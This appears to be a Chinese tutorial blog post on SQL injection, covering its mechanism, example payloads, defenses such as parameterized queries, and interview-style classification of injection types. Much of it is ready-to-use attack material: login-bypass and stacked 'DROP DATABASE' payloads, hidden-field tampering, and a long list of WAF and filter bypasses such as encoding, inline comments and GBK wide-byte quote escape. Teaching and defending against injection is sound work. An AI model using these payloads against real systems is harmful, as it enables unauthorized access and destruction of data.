SQL注入总结

一.摘要

  • 日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。
  • 下面将从SQL注入原理、注入手段、防护方法、绕过方法四个方面讲解SQL注入。

二.原理

  • 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
  • 通俗一点讲就是用户输入的恶意代码被拼接到数据库查询语句中,两个关键条件:第一个是用户能控制输入;第二是原本程序要执行的代码,拼接了用户输入的数据,把数据当代码执行了。

三.注入手段

3.1 SQL注入攻击的思路
  • 判断注入点:在参数后添加单引号" ’ ",查看结果,譬如在登录时,用户名填为:1’ ,或是url链接中:http://xxxxxx/index.php?id=1’,若是页面提示报错或是提示数据库错误的话,即说明存在SQL注入漏洞。

  • 收集提示的数据库报错信息、判断数据库类型、猜解SQL语句、猜解表名、字段名,然后根据SQL注入漏洞与数据表名、字段名等对数据库进行攻击。

3.2 注入实例

用户登录SQL语句都形如:

SELECT * FROM user WHERE name = ' " + username + " ' and password= ' "+ password +" ';

常见的利用SQL注入攻破用户登录,关键在于在参数 “name” 或是 "password"中插入特殊符号,以篡改程序SQL的条件判断。譬如我们这样输入:

用户名:1' OR 1=1 -- 
密码:1

那么程序接收到参数后,SQL语句就变成了:

SELECT * FROM user WHERE name = '1' OR 1=1 -- and password= '1';

恒为真,即可在没有账号密码的情况下成功登录。若是恶意攻击数据库,可以随意删除数据库信息,甚至连数据库都可以删掉,对项目造成毁灭性的破坏,这是被SQL注入攻击最严重的后果。譬如:

用户名:1'; DROP DATABASE root;-- 
密码:1

那么程序接收到参数后,SQL语句就变成了:

SELECT * FROM user WHERE name = '1'; DROP DATABASE root;-- and password= '1';

由于分号;是SQL语句结束的标志,它会导致"SELECT * FROM user WHERE name = ‘1’;" 后面的语句成为一条新的SQL语句,而–是SQL语句的单行注释标志,它会注释掉"and password= ‘1’;"这一段,使整个SQL语句变的合法。然后 "DROP DATABASE root;"这一句直接把整个root数据库都删掉了。
 
只要是输入参数的SQL语句,都有被SQL注入攻击的威胁,譬如用户注册、用户个人信息修改、用户评论等等,凡是输入参数的地方,都有可能被SQL注入攻击。譬如:

用户信息修改时,必然要传递判断参数,此时的SQL判断语句大都形如:

UPDATE TABLENAME SET ''='' WHERE ''=''  

而判断参数有时就在url链接中,形如:http://xxxxindex.php?id=1 ,说明程序很大可能是根据id进行SQL判断,如果该程序确实是根据用户id进行SQL判断,直接对url中传递的参数 " id=1 " 进行篡改,改成譬如:

id=1'; DROP DATABASE root;--  //可删除数据库root

如果用户不把判断参数放到url中,那么一般情况,技术人员把判断参数放到了保存按钮上,或是藏在某个隐藏的输入框里,再有就是cookie中。此时的判断参数一般是id、name、phone其中一个,技术人员会通过表单提交或是ajax,将隐藏的判断参数以post方法提交到后台。此时,只要查看网页源代码,一般都能在提交按钮、隐藏输入框等角落里找到这个隐藏参数。譬如:

<input type="button" name="jsh" onclick="addMember()" value="保存">  

这显然是一个将判断参数隐藏到提交按钮上的以ajax进行post提交的案例,判断参数为" jsh “。此时,按F12,在源代码中将” name=“jsh” “修改为” name=“jsh’; DROP DATABASE root;–”,root就没了。

四.防护方法

  • 使用安全的API
  • 对输入的特殊字符进行Escape转义处理
  • 使用白名单来规范化输入验证方法
  • 对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
  • 对进入数据库的特殊字符(’"尖括号&*#;等)进行转义处理,或编码转换。
  • 规范编码,字符集
  • 把应用服务器的数据库权限降至最低,尽可能地减少 SQL 注入攻击带来的危害
  • 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。
  • 采用sql语句预编译和绑定变量,是防御sql注入的最佳方法,所有的查询语句使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的预编译后才套用参数运行。

五.绕过方法

5.1 过滤关键字绕过姿势
  • 最常用的绕过方法就是用/**/,<>,分割关键字
sel<>ect
sel/**/ect
  • 双写绕过
selselectect
  • 大小写绕过
SELect
  • 编码绕过
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 //对关键字进行两次url全编码

select * from users where username = test1;
select * from users where username = 0x7465737431; //16进制编码

ASCII编码绕过

unicode编码对部分符号的绕过:

单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
  • 过滤逗号绕过
可以使用join方法绕过
union select 1,2,3  //原语句
union select * from (select 1)a join (select 2)b join (select 3) //join语句
  • 对于盲注的几个函数substr(),mid(),limit
substr和mid()可以使用from for的方法解决
substr(str from pos for len) //在str中从第pos位截取len长的字符
mid(str from pos for len)//在str中从第pos位截取len长的字符

limit可以用offset的方法绕过
limit 1 offset 1	

使用substring函数也可以绕过
substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
  • 过滤空格绕过
双空格
/**/
用括号绕过
用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
  • 过滤等号绕过
?id=1 or 1 like 1  //不加通配符的like执行的效果和=一致,所以可以用来绕过;

?id=1 or 1 rlike 1  //rlike的用法和上面的like一样,没有通配符效果和=一样;
?id=1 or 1 regexp 1  //regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
?id=1 or !(1 <> 1)或者1 !(<>) 1  //<> 等价于 !=  ,所以在前面再加一个!结果就是等号了
  • 内联注释绕过
内联注释就是把一些特有的仅在MYSQL上执行的语句放在 /*!...*/ 中,这些语句只在MYSQL中会执行
and /*!select*/ 1,2
  • 对or/and的绕过
and = &&
or = ||
  • 过滤函数绕过
and sleep(1) --> and benchmark(1000000000,1)

select group_concat("str1","str2")> select concat_ws(",","str1","str2")
  • 过滤引号绕过
常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节

过滤单引号时:

%bf%27 %df%27 %aa%27 

%df\’ = %df%5c%27=縗’   //两字节解析为一个汉字,单引号逃逸

六.面试相关问题

6.1 SQL注入技术分类
  • 基于布尔类型的盲注,布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码
mysql> select * from user_information where user_name=''or 1=1-- ' and user_password=' ';
mysql> select * from user_information where user_id=''or 1=1 -- '';
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行来判断
mysql> select user_name,user_password from user_information where user_id='1' and sleep(5); -- '';
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
 mysql> select * from user_information where user_name=''' and user_password='';
  • 联合查询注入,UNION语句用于联合前面的SELECT查询语句,合并查询更多信息
mysql> select user_name,user_password from user_information where user_id=''union select user_id, concat(user_name,' ',user_password) from user_information -- '';
  • 堆查询注入,可以同时执行多条语句时的注入
 mysql> select * from user_information where user_name='jsh' and user_password='cdx'; DROP DATABASE root;--
6.2 SQL注入漏洞的类型
  • 数字型注入
select * from <表名> where id = x //不用闭合单引号直接注入
select * from <表名> where id = x and 1=1  //输入x and 1=1,不报错
select * from <表名> where id = x and 1=2  //x and 1=2,报错
  • 字符型注入
select * from <表名> where id = 'x'  //需要闭合单引号
select * from <表名> where id = 'x' and '1'='1' //输入x' and '1'='1,不报错
select * from <表名> where id = 'x' and '1'='2'  //输入x' and '1'='2,报错
按照数字型来注入:
select * from <表名> where id = 'x and 1=1'  输入x and 1=1,报错,'x and 1=1'被当成字符串执行
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值